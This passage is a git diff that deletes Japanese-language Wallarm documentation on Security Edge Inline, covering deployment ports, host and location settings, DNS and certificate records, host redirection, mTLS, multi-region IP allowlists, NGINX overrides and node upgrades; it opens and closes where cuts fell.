Nodeへトラフィックを向けることはできません。次のポートがサポートされます。 - - 443, 444, 1443, 1760, 2001, 2087, 2096, 4333, 4334, 4430, 4440, 4443 4466, 4993, 5000, 5001, 5454, 7003, 7443, 7741, 8010, 8012, 8070, 8071, 8072, 8075, 8076, 8077, 8078, 8081, 8082, 8084, 8085, 8086, 8088, 8090, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099, 8104, 8181, 8243, 8282, 8383, 8443, 8444, 8448, 8585, 8723, 8787, 8801, 8866, 9052, 9090, 9093, 9111, 9193, 9440, 9443, 9797, 44300, 44301, 44302, 44395, 44443, 52233, 55180, 55553, and 60000 -1. （任意）そのホストのトラフィックを[Wallarmアプリケーション](../../../user-guides/settings/applications.md)に関連付け、Wallarmプラットフォーム上で異なるAPIインスタンスやサービスを分類・管理します。 -1. 各ホストの[Wallarm mode](../../../admin-en/configure-wallarm-mode.md)を設定します。 -1. （任意）[サーバーレベルのNGINXディレクティブ](nginx-overrides.md#server-level-directives)をカスタマイズします。デフォルトは標準のNGINX値に従います。 -1. 各ホストについて、ルートロケーション（`/`）の構成を定義します。 - - * [オリジン](#2-origins)：他のロケーション固有の設定がない場合にWallarm Nodeがフィルタ済みトラフィックを転送する送信先です。ロケーションのパスは自動的にオリジンに付加されます。 - * （任意）Wallarmアプリケーション。 - * フィルタリングモード。 - -![!](../../../images/waf-installation/security-edge/inline/hosts.png) - -ホスト内の特定の**ロケーション**ごとに、さらに次をカスタマイズできます。 - -* オリジン。ロケーションで定義したパスは自動的にオリジンに付加されます。 -* Wallarmアプリケーション。 -* フィルタリングモード。 -* [ロケーションレベルのNGINXディレクティブ](nginx-overrides.md#location-level-directives)。デフォルトは標準のNGINX値に従います。 - -各ロケーションは、明示的に上書きしない限り、ホストおよびルートロケーションの設定を継承します。 - -以下のサンプル構成では、パスごとに設定を調整して要件に対応しています。`/auth`はブロッキングモードを有効にしてセキュリティを優先し、`/data`は`client_max_body_size`を5MBに引き上げて大きなアップロードを許可します。 - -![!](../../../images/waf-installation/security-edge/inline/locations.png) - -## 5. 証明書用CNAMEの設定 - -ドメインの検証のため、Wallarm Consoleで提供されるCNAMEレコードを各DNSゾーンについてDNSプロバイダーの設定に追加します。これらのレコードは、Wallarmがドメインの所有権を確認し証明書を発行するために必要です。 - -!!! warning "証明書用CNAMEを削除しないでください" - 証明書用CNAMEレコードはDNS設定に残しておく必要があります。これは以後のデプロイ構成更新や証明書の更新に必要です。 - -![](../../../images/waf-installation/security-edge/inline/host-cnames.png) - -![](../../../images/waf-installation/security-edge/inline/cert-cname.png) - -DNSの変更が反映されるまで最大24時間かかる場合があります。CNAMEレコードが検証されると（必要な場合）、WallarmはEdge Nodeのデプロイを開始します。 - -## 6. Edge Nodeへのトラフィックルーティング - -クライアントリクエストをEdge Node経由にするため、保護対象のドメイン種別に応じてDNSレコードを更新します。 - -### CNAMEレコード - -保護対象のホストが第3レベル（またはそれ以上）のドメイン（例: `api.example.com`）の場合、DNSゾーンにWallarm提供のFQDNを指すCNAMEレコードを指定する必要があります。 - -証明書用CNAMEが検証されると、各ホストに対して**Traffic CNAME**が利用可能になります。証明書を発行しない場合は、構成完了直後にCNAMEが利用可能です。 - -* シングルクラウドデプロイ: 選択したクラウドプロバイダー用の**Traffic CNAME**を使用します。 -* マルチクラウドデプロイ: **Traffic CNAME (Global)**を使用して、選択したすべてのリージョンとプロバイダーに自動的にトラフィックを分散します。 - - プロバイダーごとのCNAMEも利用でき、特定プロバイダーへのルーティングを強制する必要がある場合（例: プロバイダー間のレイテンシーやパフォーマンスをテストする場合）に使用できます。 - -![](../../../images/waf-installation/security-edge/inline/traffic-cname.png) - -DNSの変更が反映されるまで最大24時間かかる場合があります。反映後、Wallarmはすべてのトラフィックを構成済みのオリジンにプロキシします。 - -### Aレコード - -保護対象のホストがapexドメイン（例: `example.com`）の場合、CNAMEは使用できません。この場合、DNSセットアップは**Aレコード**を使用する必要があり、デプロイが[**Active**](upgrade-and-management.md#statuses)になると返されます。 - -![](../../../images/waf-installation/security-edge/inline/a-records.png) - -この場合のトラフィックルーティングはDNSプロバイダー側で管理されます。デフォルトでは多くのDNSプロバイダーが[ラウンドロビン](https://en.wikipedia.org/wiki/Round-robin_DNS)方式を使用しますが、プロバイダーによってはレイテンシーベースのルーティングにも対応しています。 - -## その他の構成オプション - -* [複数リージョン・複数プロバイダーでのEdge Nodeデプロイ](multi-region.md) -* [Edge NodeからオリジンへのmTLS](mtls.md) -* [ホストのリダイレクト](host-redirection.md) -* [カスタムブロックページ](custom-block-page.md) -* [NGINXの上書き設定](nginx-overrides.md) -* [Edge Nodeのアップグレード](upgrade-and-management.md) -* [テレメトリポータル](telemetry-portal.md) \ No newline at end of file diff --git a/docs/latest-ja/installation/security-edge/inline/host-redirection.md b/docs/latest-ja/installation/security-edge/inline/host-redirection.md deleted file mode 100644 index 211d7793f4..0000000000 --- a/docs/latest-ja/installation/security-edge/inline/host-redirection.md +++ /dev/null @@ -1,63 +0,0 @@ -# Security Edge Inlineにおけるホストリダイレクト - -Wallarm [Security Edge Inline](deployment.md)は、トラフィックのエントリポイントを統一するのに役立つホストリダイレクト機能を提供します。 - -## 動作の仕組み - -ホストリダイレクトを有効にすると、Edge Nodeはクライアントリクエストをあるホスト（**リダイレクト元ホスト**）から別のホスト（**対象ホスト**）へ自動的にリダイレクトします。 - -リダイレクトされたリクエストは、その後、対象ホストの設定（origin、フィルタリングモード、その他の設定を含む）に従って処理されます。 - -!!! info "TLSの要件" - リダイレクト元ホストのDNSゾーンで[証明書の発行が有効化されている](deployment.md#5-certificate-cname-configuration)必要があります。 - -![!](../../../images/waf-installation/security-edge/inline/host-redirection.png) - -Edge Nodeは、リダイレクト元ホストへの受信リクエストに対してHTTP 301または302のリダイレクトで応答し、クライアントに対象ホスト上の同一リソースを要求するよう指示します。 - -リダイレクト時には元のパスとクエリ文字列が保持されます。 - -## ホストリダイレクトの有効化 - -ホストリダイレクトを有効化するには次の手順に従います: - -1. 対象[ホスト](deployment.md#4-hosts)（クライアントリクエストのリダイレクト先となるホスト）を追加します。 -1. 必要なorigin、フィルタリングモード、その他の設定で完全に構成します。 - - ![!](../../../images/waf-installation/security-edge/inline/redirect-target-host.png) -1. リダイレクト元ホスト（ユーザーがそこからリダイレクトされるホスト）を追加します。 -1. **Redirect to another host**チェックボックスを有効にし、リストから対象ホストを選択します。 - - ![!](../../../images/waf-installation/security-edge/inline/redirecting-host.png) - -リダイレクト元ホストにoriginは不要です - HTTPSリダイレクトを返すだけで、トラフィックをプロキシしません。 - -## 例 - -以下は、ホストリダイレクトが有用な一般的なユースケースです。 - -### 推奨: apexドメインから`www.*`へリダイレクト - -* リダイレクト元ホスト: `example.com` -* 保護対象ホスト: `www.example.com` - -apexドメイン宛のトラフィックを安全に処理するため、可能な限り`www.example.com`のようなサブドメインを主要な保護対象ホストとして使用することを推奨します。 - -このアプローチにより、WallarmはグローバルなCNAMEを使用して複数のリージョンやクラウドプロバイダー間のトラフィックルーティングを管理でき、[複数のAレコード](deployment.md#a-records)や手動でのトラフィック分散が不要になります。 - -構成手順: - -1. Security Edgeに[ホスト](deployment.md#4-hosts) `www.example.com`を追加し、origin、モードなど必要な設定を含めて完全に構成します。 -1. ホスト`example.com`を別ホストとして追加し、`www.example.com`へのリダイレクトを有効にします。 - -### レガシーAPIエンドポイントのリダイレクト - -* 旧ホスト: `old-api.customer.com` -* 新しい保護対象ホスト: `new-api.customer.com` - -以前は`old-api.customer.com`で提供されていたAPIが`new-api.customer.com`へ移行した場合、後方互換性を確保するためにホストリダイレクトを使用してください。 - -構成手順: - -1. Security Edgeに[ホスト](deployment.md#4-hosts) `new-api.customer.com`を追加し、origin、モードなど必要な設定を含めて完全に構成します。 -1. ホスト`old-api.customer.com`を別ホストとして追加し、`new-api.customer.com`へのリダイレクトを有効にします。 \ No newline at end of file diff --git a/docs/latest-ja/installation/security-edge/inline/mtls.md b/docs/latest-ja/installation/security-edge/inline/mtls.md deleted file mode 100644 index ffb310e20f..0000000000 --- a/docs/latest-ja/installation/security-edge/inline/mtls.md +++ /dev/null @@ -1,39 +0,0 @@ -# Edge NodeからオリジンへのmTLS - -相互TLS（mTLS）は、Wallarm Edge Nodeがクライアント証明書を使用してオリジンに対して自身を認証できるようにします。これにより、オリジンは信頼できる送信元からのリクエストのみを受け入れるようになります。 - -[Security Edgeの構成](deployment.md)時に、Edge Node用のクライアント証明書を生成してアップロードできます。 - -!!! info "バージョン要件" - mTLSは[Edge Nodeのバージョン](upgrade-and-management.md#upgrading-the-edge-inline) 5.3.14-200以降でサポートされています。 - -## 仕組み - -オリジンでmTLSを有効にした場合： - -1. フィルタリング済みトラフィックをオリジンに転送する前に、Edge NodeはTLSハンドシェイク中にクライアント証明書を提示します。 -1. オリジンは、信頼できるCA（認証局）バンドルに対して証明書を検証します。 -1. 証明書が有効で、期待されるパラメータ（例：Common NameまたはSubject Alternative Name）に一致する場合、接続が確立され、リクエストが受け入れられます。 - -![!](../../../images/waf-installation/security-edge/inline/mtls-logic.png) - -## mTLSの有効化 - -複数の証明書をアップロードし、オリジンごとに異なる証明書を割り当てることができます。 - -1. 信頼できるCAにより署名されたクライアント証明書と秘密鍵のペアを生成します。次の要件を満たす必要があります。 - - * **クライアント証明書**：X.509、PEM形式。 - - `Extended Key Usage (EKU)`拡張に`Client Authentication`が設定されている必要があります。 - - * **秘密鍵**：PEM形式。クライアント証明書に対応している必要があります。 - * **CAバンドル**：PEM形式。クライアント証明書の発行元認証局を含む必要があります。 -1. Wallarm Console → **Security Edge** → **Configure**の**General settings**で、証明書、秘密鍵、CAバンドルをアップロードします。 -1. **Origins**セクションで、対象のオリジンに対して**Require mTLS from Edge Node**を有効にし、適切な証明書を選択します。 - - 必要に応じて、各オリジンは異なる証明書を使用できます。 -1. 設定を**Save**します。 -1. オリジンを、受信接続でmTLSを必須にするように構成します。クライアント証明書の発行に使用したCAバンドルを信頼するように設定します。 - -![!](../../../images/waf-installation/security-edge/inline/mtls-settings-ui.png) \ No newline at end of file diff --git a/docs/latest-ja/installation/security-edge/inline/multi-region.md b/docs/latest-ja/installation/security-edge/inline/multi-region.md deleted file mode 100644 index 07a3ea7575..0000000000 --- a/docs/latest-ja/installation/security-edge/inline/multi-region.md +++ /dev/null @@ -1,128 +0,0 @@ -# Security Edge Inlineのマルチクラウドおよびマルチリージョンデプロイメント - -インラインEdge Nodeを複数リージョンおよび複数クラウドプロバイダにデプロイして、地理的冗長性と低レイテンシを実現できます。 - -[Security Edgeを構成](deployment.md)する際、サポートされているクラウドプロバイダ（AWSとAzure）にまたがって1つ以上のリージョンを選択できます。 - -## マルチリージョンデプロイメント - -単一のクラウドプロバイダ内で複数リージョンを選択した場合、トラフィックはレイテンシに基づいてルーティングされ、各リクエストは最寄りの利用可能なリージョンに送られます。 - -これは最も一般的な構成であり、複数の場所からリクエストを処理する場合に推奨されます。 - -![!](../../../images/waf-installation/security-edge/inline/multi-region-edge-nodes.png) - -利用可能なリージョンはご利用の[Wallarm Cloud](../../../about-wallarm/overview.md#cloud)に依存します（US→USリージョン、EU→EUリージョン）。 - -## マルチクラウドデプロイメント - -複数のクラウドプロバイダにまたがる複数リージョンを選択した場合、レイテンシに関係なく、すべてのリクエストは選択したリージョンとプロバイダ間で[ラウンドロビン](https://en.wikipedia.org/wiki/Round-robin_DNS)方式により分散されます。 - -この構成は次のケースで推奨されます: - -* クラウドプロバイダの冗長化: トラフィックが選択したすべてのプロバイダに分散され、1つが利用不能になっても（例: AWS）、他のプロバイダ（例: Azure）が中断なくトラフィック処理を継続します。 -* リージョンの高可用性: 例えば、`AWS US East 1`と`Azure East US`の両方を選択すると、リージョン間でトラフィックのバランスが維持され、いずれかのリージョンまたはプロバイダが利用不能になってもサービスが継続します。 - -![!](../../../images/waf-installation/security-edge/inline/multi-cloud-edge-nodes.png) - -## オリジンアクセスのためのWallarm IP範囲 - -Security Edgeからオリジンへの接続は[mTLS](mtls.md)で保護することを推奨します。これにより、WallarmのIPが変更された際にIP許可リストを更新する必要がなくなります。 - -mTLSを使用できない場合は、選択したリージョンのWallarm IPアドレスからの受信トラフィックを許可してください。 - -* AWS - - === "us-east-1 (N. Virginia)" - ``` - 18.215.213.205 - 44.214.56.120 - 44.196.111.152 - ``` - === "us-east-2 (Ohio)" - ``` - 3.148.62.175 - 18.224.237.190 - 3.20.55.107 - 3.135.4.73 - 3.142.190.180 - 3.15.129.1 - 18.116.243.148 - 18.116.233.194 - ``` - === "米国西部1" - ``` - 52.8.91.20 - 13.56.117.139 - 54.177.237.34 - 50.18.177.184 - ``` - === "EU中部1（フランクフルト）" - ``` - 18.153.123.2 - 18.195.202.193 - 3.76.66.246 - 3.79.213.212 - ``` - === "EU中部2（チューリッヒ）" - ``` - 51.96.131.55 - 16.63.191.19 - 51.34.0.90 - 51.96.67.145 - ``` - -* Azure - - === "米国東部2" - ``` - 20.65.88.253 - 20.65.88.252 - ``` - === "米国西部3" - ``` - 20.38.2.233 - 20.38.2.232 - ``` - === "ドイツ西中部" - ``` - 20.79.250.104 - 20.79.250.105 - ``` - === "スイス北部" - ``` - 20.203.240.193 - 20.203.240.192 - ``` - -## CNAMEレコード - -保護対象ホストが第3レベル以上のドメイン（例: `api.example.com`）である場合、DNSゾーンに[Wallarmが提供するFQDNを指すCNAMEレコードを指定](deployment.md#6-routing-traffic-to-the-edge-node)する必要があります。このレコードは**Traffic CNAME**として返されます。 - -* 単一クラウドのデプロイメント: 選択したクラウドプロバイダ用の**Traffic CNAME**を使用します。 -* マルチクラウドデプロイメント: すべての選択したリージョンとプロバイダにトラフィックを自動分散するために**Traffic CNAME (Global)**を使用します。 - - 特定のプロバイダにルーティングを固定する必要がある場合は、プロバイダ別のCNAMEも利用できます。例えば、プロバイダ間のレイテンシやパフォーマンスをテストする目的です。 - -![](../../../images/waf-installation/security-edge/inline/traffic-cname.png) - -## Aレコード - -保護対象ホストがApexドメイン（例: `example.com`）の場合、CNAMEは使用できません。この場合、DNS設定では**Aレコード**を使用する必要があり、デプロイメントが[**Active**](upgrade-and-management.md#statuses)になると返されます。 - -Edge Nodeのデプロイメントに複数のリージョンまたはプロバイダを選択した場合は、返されたすべてのAレコードをDNSゾーンに設定する必要があります。 - -![](../../../images/waf-installation/security-edge/inline/a-records.png) - -この場合のトラフィックのルーティングはDNSプロバイダによって管理されます。既定では、ほとんどのDNSプロバイダは[ラウンドロビン](https://en.wikipedia.org/wiki/Round-robin_DNS)のロジックを使用しますが、レイテンシベースのルーティングをサポートしている場合もあります。 - -## クラウドプロバイダまたはリージョンの削除 - -* クラウドプロバイダを削除する前に、DNS設定を[残存プロバイダのTraffic CNAME](#cname-records)を使用するよう切り替えてください。 - - クラウドプロバイダを削除すると、その**Traffic CNAME**は削除されます。 - - プロバイダが1つだけ残る場合、**Traffic CNAME (Global)**も削除され、使用できなくなります。 -* リージョンを削除する前に、該当する[Aレコード](#a-records)を更新してください。 - - リージョンを削除すると、関連するAレコードは利用できなくなります。 \ No newline at end of file diff --git a/docs/latest-ja/installation/security-edge/inline/nginx-overrides.md b/docs/latest-ja/installation/security-edge/inline/nginx-overrides.md deleted file mode 100644 index a8f626ed77..0000000000 --- a/docs/latest-ja/installation/security-edge/inline/nginx-overrides.md +++ /dev/null @@ -1,36 +0,0 @@ -# Security Edge Inline NGINXディレクティブのオーバーライド - -Security Edge Inlineは、ホスト(server)およびlocationレベルでNGINXディレクティブのオーバーライドをサポートします。これらのオーバーライドにより、アプリケーションのパフォーマンスやリクエスト処理をきめ細かく調整できます。 - -!!! info "サポート対象外のディレクティブ" - 既定でサポートされていないディレクティブが追加で必要な場合は、support@wallarm.comまでご連絡ください。 - -## サーバーレベルのディレクティブ - -以下のNGINXディレクティブはホスト(serverブロック)ごとにカスタマイズできます。 - -| ディレクティブ | 説明 | 既定値 | -| --------- | ----------- | ------- | -| `proxy_buffer_size` | レスポンス先頭部分の読み取りに使用するバッファサイズです。 [詳細](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_buffer_size) | `8k` | -| `proxy_buffers`| レスポンス用バッファの個数とサイズです。 [詳細](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_buffers) | `8 8k` | -| `proxy_busy_buffers_size` | ビジーな接続に使用されるバッファの最大サイズです。 [詳細](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_busy_buffers_size) | `8k` | -| `proxy_read_timeout` | オリジンサーバーからレスポンスを読み取る際のタイムアウトです。 [詳細](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) | `60s` | -| `proxy_request_buffering` | リクエストボディのバッファリングを有効/無効にします。 [詳細](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_request_buffering) | `on` | -| `proxy_send_timeout` | オリジンへのリクエスト送信時のタイムアウトです。 [詳細](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_send_timeout) | `60s` | -| `client_max_body_size` | リクエストボディの最大サイズです。 [詳細](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) | `1m` | -| `large_client_header_buffers` | 大きなヘッダー用バッファの個数とサイズです。 [詳細](https://nginx.org/en/docs/http/ngx_http_core_module.html#large_client_header_buffers) | `4 8k` | -| `proxy_ssl_name` および `proxy_ssl_server_name` | HTTPS経由でオリジンに接続する際に、TLS SNIを介してホスト名を渡せます。 [詳細](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_ssl_name)

        これはhost settingsの**Proxy SSL server name**チェックボックスで制御されます。有効にすると:
        `proxy_ssl_server_name on;`
        `proxy_ssl_name $http_host;` | それぞれ`$proxy_host`および`off`です | - -## ロケーションレベルのディレクティブ - -以下のNGINXディレクティブはlocationごとにカスタマイズできます。 - -| ディレクティブ | 説明 | 既定値 | -| --------- | ----------- | ------- | -| `proxy_buffer_size` | レスポンス先頭部分の読み取りに使用するバッファサイズです。 [詳細](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_buffer_size) | `8k` | -| `proxy_buffers`| レスポンス用バッファの個数とサイズです。 [詳細](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_buffers) | `8 8k` | -| `proxy_busy_buffers_size` | ビジーな接続に使用されるバッファの最大サイズです。 [詳細](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_busy_buffers_size) | `8k` | -| `proxy_read_timeout` | オリジンサーバーからレスポンスを読み取る際のタイムアウトです。 [詳細](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) | `60s` | -| `proxy_request_buffering` | リクエストボディのバッファリングを有効/無効にします。 [詳細](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_request_buffering) | `on` | -| `proxy_send_timeout` | オリジンへのリクエスト送信時のタイムアウトです。 [詳細](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_send_timeout) | `60s` | -| `client_max_body_size` | リクエストボディの最大サイズです。 [詳細](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) | `1m` | \ No newline at end of file diff --git a/docs/latest-ja/installation/security-edge/inline/overview.md b/docs/latest-ja/installation/security-edge/inline/overview.md deleted file mode 100644 index 4f58d07915..0000000000 --- a/docs/latest-ja/installation/security-edge/inline/overview.md +++ /dev/null @@ -1,32 +0,0 @@ -# Security Edge Inlineの概要 - -[**Security Edge**](../overview.md)プラットフォームは、Wallarmがホストする環境内の地理的に分散したロケーションにWallarm Nodesをデプロイするためのマネージドサービスを提供します。主要なデプロイオプションの1つがインラインデプロイで、お客様側でのインストールを必要とせず、API全体に対してリアルタイムかつ堅牢な保護を提供します。 - -![!](../../../images/waf-installation/security-edge/inline/traffic-flow.png) - -## ユースケース - -これは、次のような場合にAPIを保護する理想的なソリューションです。 - -* 運用の複雑さを最小限に抑えたフルマネージドなセキュリティソリューションを求めている場合です。 -* DNS経由でトラフィックをWallarmにルーティングできる場合です。 - -## 仕組み - -Security Edge Inlineでは、APIトラフィックはWallarmのグローバルに分散したPoints of Presence（PoPs）を経由してルーティングされます。これらのPoPにはWallarm Nodesがデプロイされ、Wallarmによってホストおよび管理されます。 - -* DNSベースのトラフィックリダイレクト：APIドメインの解決先をWallarm Edge Nodeに向けるようDNSを構成します。 -* PoPの選択とルーティング：レイテンシーまたは選択したリージョンに基づいて、リクエストは最寄りの利用可能なPoPにルーティングされます。 -* リアルタイム検査とフィルタリング：inline Nodeが受信リクエストを解析し、正当なトラフィックをオリジンサーバーに転送する前に悪意のあるものをブロックします。 -* マルチクラウドおよびマルチリージョン：高可用性とジオ冗長性のために、複数のクラウドリージョンにわたりinline Nodesをデプロイできます。 -* 自動スケーリングとアップデート：WallarmがNodeのスケーリング、アップデート、メンテナンスを処理します。お客様側での作業は不要です。 - -## 制限事項 - -* 64文字未満のドメインのみがサポート対象です。 -* HTTPSトラフィックのみがサポート対象で、HTTPは許可されません。 -* [カスタムブロッキングコード](../../../admin-en/configuration-guides/configure-block-page-and-code.md)の設定はまだサポートされていません。 - -## デプロイ - -Security Edge Inlineをデプロイするには、[段階的な手順](deployment.md)に従ってください。 \ No newline at end of file diff --git a/docs/latest-ja/installation/security-edge/inline/telemetry-portal-logs-dashboard.md b/docs/latest-ja/installation/security-edge/inline/telemetry-portal-logs-dashboard.md deleted file mode 100644 index d38cfd27bb..0000000000 --- a/docs/latest-ja/installation/security-edge/inline/telemetry-portal-logs-dashboard.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/security-edge/inline/telemetry-portal-logs-dashboard.md" \ No newline at end of file diff --git a/docs/latest-ja/installation/security-edge/inline/telemetry-portal-main-dashboard.md b/docs/latest-ja/installation/security-edge/inline/telemetry-portal-main-dashboard.md deleted file mode 100644 index e1007683d3..0000000000 --- a/docs/latest-ja/installation/security-edge/inline/telemetry-portal-main-dashboard.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/security-edge/inline/telemetry-portal-main-dashboard.md" \ No newline at end of file diff --git a/docs/latest-ja/installation/security-edge/inline/telemetry-portal.md b/docs/latest-ja/installation/security-edge/inline/telemetry-portal.md deleted file mode 100644 index 817ba47d05..0000000000 --- a/docs/latest-ja/installation/security-edge/inline/telemetry-portal.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/security-edge/inline/telemetry-portal.md" \ No newline at end of file diff --git a/docs/latest-ja/installation/security-edge/inline/upgrade-and-management.md b/docs/latest-ja/installation/security-edge/inline/upgrade-and-management.md deleted file mode 100644 index 464e0f21d6..0000000000 --- a/docs/latest-ja/installation/security-edge/inline/upgrade-and-management.md +++ /dev/null @@ -1,48 +0,0 @@ -# Security Edge Inlineの管理 - -Wallarm Consoleから、設定の更新、Nodeバージョンのアップグレード、ステータスの監視、デプロイメントの削除を行って[Security Edge Inline](overview.md)のデプロイメントを管理できます。 - -## ステータス - -Edge Nodeセクションでは、オリジン、ホスト、リージョンのデプロイおよび設定状態のリアルタイムステータスを表示します: - -=== "ホスト" - ![!](../../../images/waf-installation/security-edge/inline/host-statuses.png) -=== "オリジン" - ![!](../../../images/waf-installation/security-edge/inline/origin-statuses.png) -=== "リージョン" - ![!](../../../images/waf-installation/security-edge/inline/region-statuses.png) -=== "ノード" - **Nodes**タブでは、各Edge Nodeの技術的な詳細を提供します。このビューは主にトラブルシューティングを支援するためのWallarm Support向けです。Nodesの数はトラフィック需要に依存し、Wallarmのオートスケーリングによって自動的に管理されます。 - - ![!](../../../images/waf-installation/security-edge/inline/nodes-tab.png) - -* **Pending cert CNAME**: 証明書の発行のために[証明書のCNAMEレコード](deployment.md#5-certificate-cname-configuration)をDNSに追加するのを待機しています（該当する場合）。 -* **Pending traffic CNAME**または**Pending traffic A record**: デプロイメントは完了しており、トラフィックをEdge Nodeにルーティングするための[トラフィック用CNAMEまたはAレコード](deployment.md#6-routing-traffic-to-the-edge-node)の追加を待機しています。 -* **Deploying**: Edge Nodeを現在セットアップしており、まもなく利用可能になります。 -* **Active**: Edge Nodeは完全に稼働しており、設定どおりにトラフィックをフィルタリングしています。 -* **Cert CNAME error**: DNSで[証明書CNAME](deployment.md#5-certificate-cname-configuration)の検証に問題がありました。CNAMEが正しく構成されていることを確認してください（該当する場合）。 -* **Deployment failed**: Edge Nodeのデプロイに失敗しました（例: 証明書のCNAMEが14日以内に追加されなかったなど）。設定を確認して再デプロイを試行するか、支援が必要な場合は[Wallarm Supportチーム](https://support.wallarm.com)に連絡してください。 -* **Degraded**: Edge Nodeは当該リージョンで稼働していますが、機能が制限されている、または軽微な問題が発生している可能性があります。支援が必要な場合は[Wallarm Supportチーム](https://support.wallarm.com)に連絡してください。 - -ホストおよびオリジンごとのRPSとリクエスト数は、[バージョン](../../../updating-migrating/node-artifact-versions.md#all-in-one-installer)5.3.0以降で返されます。 - -## Edge Inlineのアップグレード - -**Admin settings**で**Auto update**を有効にすると、（選択したオプションに応じて）新しいマイナーまたはパッチバージョンがリリースされ次第、Edge Nodeは自動的にアップグレードされます。初期設定はすべて保持されます。既定ではAuto updateはオフです。 - -![!](../../../images/waf-installation/security-edge/inline/admin-settings.png) - -Edge Nodeを手動でアップグレードするには、**Configure** → **Admin settings**に移動し、一覧からバージョンを選択します。最適なパフォーマンスとセキュリティのために最新バージョンの使用を推奨します。 - -新しいメジャーバージョンへのアップグレードは手動でのみ可能です。 - -各バージョンの変更履歴は[記事](../../../updating-migrating/node-artifact-versions.md#all-in-one-installer)を参照してください。Edge Nodeのバージョンは`..`形式で、リンク先の記事の同じバージョンに対応します。Edge Nodeのバージョンに含まれるビルド番号は小規模な変更を示します。 - -## Edge Inlineの削除 - -Edgeのデプロイメントを削除するには、**Configure** → **Admin settings** → **Delete inline**をクリックします。 - -Nodesを削除して再作成する予定の場合は、[既存のデプロイメントの設定を調整](deployment.md)することで、更新された設定でNodesが再デプロイされます。 - -サブスクリプションが期限切れになった場合、Edge Nodeは14日後に自動的に削除されます。 \ No newline at end of file diff --git a/docs/latest-ja/installation/security-edge/overview.md b/docs/latest-ja/installation/security-edge/overview.md deleted file mode 100644 index 74bb7016d1..0000000000 --- a/docs/latest-ja/installation/security-edge/overview.md +++ /dev/null @@ -1,46 +0,0 @@ -# Security Edge - -Security Edgeは、[Wallarm Node](../../about-wallarm/overview.md#filtering-node)をお客様自身でホストすることなくAPIとアプリケーションを保護できる、Wallarmのマネージドなデプロイオプションです。トラフィックを**Wallarmのグローバルに分散したEdgeインフラストラクチャ**にリダイレクトすると、そこでトラフィックがフィルタリングされ、安全にお客様のバックエンドへ転送されます。 - -NodeはWallarmがホスティングおよび運用しますので、お客様のチームのインフラ運用のオーバーヘッドを削減します。 - -## 主な利点 - -Security Edgeサービスは、WallarmがWallarm Nodeをデプロイ・ホスティング・管理する安全なクラウド環境を提供します: - -* 運用の複雑さを最小限に抑えたフルマネージドなソリューションです。 -* ターンキー展開: Wallarmがグローバルに分散した拠点にNodeを自動的にデプロイするため、必要なセットアップは最小限です。 -* オートスケーリング: トラフィック負荷の変動に対応してNodeが自動的に水平スケールし、手動の設定は不要です。 -* コスト削減: Wallarm管理のNodeにより運用のオーバーヘッドが低下し、より迅速な導入とスケーラビリティを実現します。 -* シームレスな統合: シンプルな設定で、停止を伴うことなくAPI群を保護できます。 -* PoPのグローバルネットワークとレイテンシベースのDNSステアリング: トラフィックはユーザーの近くに位置するWallarmの分散PoP（Points of Presence）を経由してルーティングされます。 - -## 利用可能なデプロイオプション - -
        -
        - - - -

        Security Edge Inline

        -

        リアルタイムのトラフィックはEdge Nodeを経由するようにリダイレクトされ、フィルタリングされた後、オリジンへ転送されます

        -         - - - -

        Security Edge Connector

        -

        非同期解析やリアルタイムブロッキングのためにEdge NodeをAPIプラットフォームに接続します

        -         -
        -
        - -!!! info "他のデプロイ方法" - より高いコントロールや従来型のホスティングオプションをお探しですか？[セルフホスト型Nodeのデプロイ](../supported-deployment-options.md)と[Connectors向けセルフホスト型Nodeのデプロイ](../connectors/overview.md)をご覧ください。 - -## Free Tier - -Security Edgeは、Free Tierプランで最大**月間500,000リクエスト - 無料**で利用できます。 - -Free Tierプランでは[**Quick setup** wizard](free-tier.md)からEdge Nodeをデプロイできます。 - - \ No newline at end of file diff --git a/docs/latest-ja/installation/security-edge/se-connector.md b/docs/latest-ja/installation/security-edge/se-connector.md deleted file mode 100644 index f1426f297e..0000000000 --- a/docs/latest-ja/installation/security-edge/se-connector.md +++ /dev/null @@ -1,121 +0,0 @@ -[se-connector-setup-img]: ../../images/waf-installation/security-edge/connectors/setup-view.png -[filtration-mode-docs]: ../../admin-en/configure-wallarm-mode.md -[se-connector-hosts-locations-img]: ../../images/waf-installation/security-edge/connectors/hosts-locations.png - -# Security Edgeコネクタ - -[**Security Edge**](overview.md)プラットフォームは、Wallarmがホスティングする環境内で地理的に分散したロケーションにWallarm Nodeをデプロイするためのマネージドサービスを提供します。主要なデプロイオプションの1つが[**コネクタ**](../connectors/overview.md)Nodeのデプロイで、オンサイトでのインストールは不要で、API全体を堅牢に保護します。 - -![!](../../images/waf-installation/security-edge/connectors/traffic-flow.png) - -!!! info "サポート対象プラットフォーム" - 現在、EdgeコネクタはMuleSoft Mule Gateway、CloudFront、Cloudflare、Fastly、IBM DataPowerにのみ対応しています。 - -## 要件 - -* [Security Edgeサブスクリプション](../../about-wallarm/subscription-plans.md)（無料または有料） -* 次のいずれかのAPI管理プラットフォーム上で稼働しているAPI: - - * MuleSoft Mule Gateway - * CloudFront - * Cloudflare - * Fastly - * IBM DataPower - -## Security Edgeコネクタの実行 - -Security Edgeコネクタを実行するには、Wallarm Console → **Security Edge** → **Connectors** → **Add 